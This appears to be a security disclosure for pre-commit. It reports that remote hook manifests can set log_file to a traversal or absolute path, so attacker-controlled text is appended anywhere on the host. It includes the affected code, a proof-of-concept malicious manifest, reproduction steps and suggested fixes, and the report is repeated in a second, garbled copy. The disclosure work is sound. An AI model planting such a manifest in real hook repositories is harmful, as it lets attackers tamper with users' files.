Summary
pre-commit accepts the log_file field from remote hook manifests (.pre-commit-hooks.yaml) and later opens that path directly on the host filesystem in append mode when a hook produces output. Because the path is neither constrained to the repository root nor stripped for non-local manifests, a malicious hook repository can append attacker-controlled content to arbitrary relative or absolute host paths.
This is a tool-level trust-boundary issue — not simply "hooks execute code by design." The validated proof of concept uses language: fail, so no hook code from the remote repository is executed. The file write comes purely from manifest metadata.
Severity: Medium
Affected Code
Manifest schema accepts log_file for remote repos
pre_commit/clientlib.py, line 261:
MANIFEST_HOOK_DICT = cfgv.Map(
'Hook', 'id',
# ...
cfgv.Optional('log_file', cfgv.check_string, ''),
# ...
)
log_file is permitted in MANIFEST_HOOK_DICT (the schema used for .pre-commit-hooks.yaml in remote repos), with no path validation.
Hook output is written to the manifest-controlled path
pre_commit/commands/run.py, line 232:
if out.strip():
output.write_line()
output.write_line_b(out.strip(), logfile_name=hook.log_file)
output.write_line()
The path is opened directly in append mode
pre_commit/output.py, lines 14–29:
def write_line_b(
s: bytes | None = None,
stream: IO[bytes] = sys.stdout.buffer,
logfile_name: str | None = None,
) -> None:
with contextlib.ExitStack() as exit_stack:
output_streams = [stream]
if logfile_name:
stream = exit_stack.enter_context(open(logfile_name, 'ab'))
output_streams.append(stream)
# ...
No validation is performed on logfile_name — it is opened as-is with open(logfile_name, 'ab').
Steps to Reproduce
- Create a malicious hook repository with
.pre-commit-hooks.yaml:
- id: evil-hook
name: evil hook
entry: |
attacker-controlled content here
this gets written to the target file
language: fail
files: ''
always_run: true
log_file: ../escape-to-parent.txt
- Create a victim repository that uses this hook in
.pre-commit-config.yaml:
repos:
- repo: https://github.com/<attacker>/malicious-hooks
rev: v1.0.0
hooks:
- id: evil-hook
-
Run pre-commit run --all-files in the victim repository.
-
Observe that ../escape-to-parent.txt is created one directory above the victim repo, containing the attacker-controlled entry string.
Validation
I validated this in an isolated Docker environment:
- Created a local "malicious" hook repo with
log_file: ../manifest-log-file-write.txt and language: fail
- Ran
pre-commit from a separate victim repo directory
- Confirmed that
manifest-log-file-write.txt was created one directory above the victim repo
- The file content was the attacker-controlled text from the hook's
entry field
Impact
A malicious hook repository can:
- Write outside the repository using relative traversal (
../target) or absolute paths
- Create new files on the host filesystem
- Append attacker-controlled bytes to existing files
- The content is controlled through the manifest
entry field, so the attacker has full control over what is written
This is achieved without any hook code execution — language: fail hooks never run an interpreter. The write primitive comes purely from manifest metadata being trusted as a file path.
Suggested Fix
The least disruptive fix would be to make log_file config-only, i.e., only honor it from the user's .pre-commit-config.yaml and ignore it from remote manifests (.pre-commit-hooks.yaml).
Alternatively:
- Remove
log_file from MANIFEST_HOOK_DICT entirely (only keep it in the config schema).
- If manifest support must remain, normalize the path against an allowed base directory and reject:
- Absolute paths
.. traversal components
- Symlink escapes outside the repository root
Summary
pre-commitaccepts thelog_filefield from remote hook manifests (.pre-commit-hooks.yaml) and later opens that path directly on the host filesystem in append mode when a hook produces output. Because the path is neither constrained to the repository root nor stripped for non-local manifests, a malicious hook repository can append attacker-controlled content to arbitrary relative or absolute host paths.This is a tool-level trust-boundary issue — not simply "hooks execute code by design." The validated proof of concept uses
language: fail, so no hook code from the remote repository is executed. The file write comes purely from manifest metadata.Severity: Medium
Affected Code
Manifest schema accepts
log_filefor remote repospre_commit/clientlib.py, line 261:log_fileis permitted inMANIFEST_HOOK_DICT(the schema used for.pre-commit-hooks.yamlin remote repos), with no path validation.Hook output is written to the manifest-controlled path
pre_commit/commands/run.py, line 232:The path is opened directly in append mode
pre_commit/output.py, lines 14–29:No validation is performed on
logfile_name— it is opened as-is withopen(logfile_name, 'ab').Steps to Reproduce
.pre-commit-hooks.yaml:.pre-commit-config.yaml:Run
pre-commit run --all-filesin the victim repository.Observe that
../escape-to-parent.txtis created one directory above the victim repo, containing the attacker-controlledentrystring.Validation
I validated this in an isolated Docker environment:
log_file: ../manifest-log-file-write.txtandlanguage: failpre-commitfrom a separate victim repo directorymanifest-log-file-write.txtwas created one directory above the victim repoentryfieldImpact
A malicious hook repository can:
../target) or absolute pathsentryfield, so the attacker has full control over what is writtenThis is achieved without any hook code execution —
language: failhooks never run an interpreter. The write primitive comes purely from manifest metadata being trusted as a file path.Suggested Fix
The least disruptive fix would be to make
log_fileconfig-only, i.e., only honor it from the user's.pre-commit-config.yamland ignore it from remote manifests (.pre-commit-hooks.yaml).Alternatively:
log_filefromMANIFEST_HOOK_DICTentirely (only keep it in the config schema)...traversal components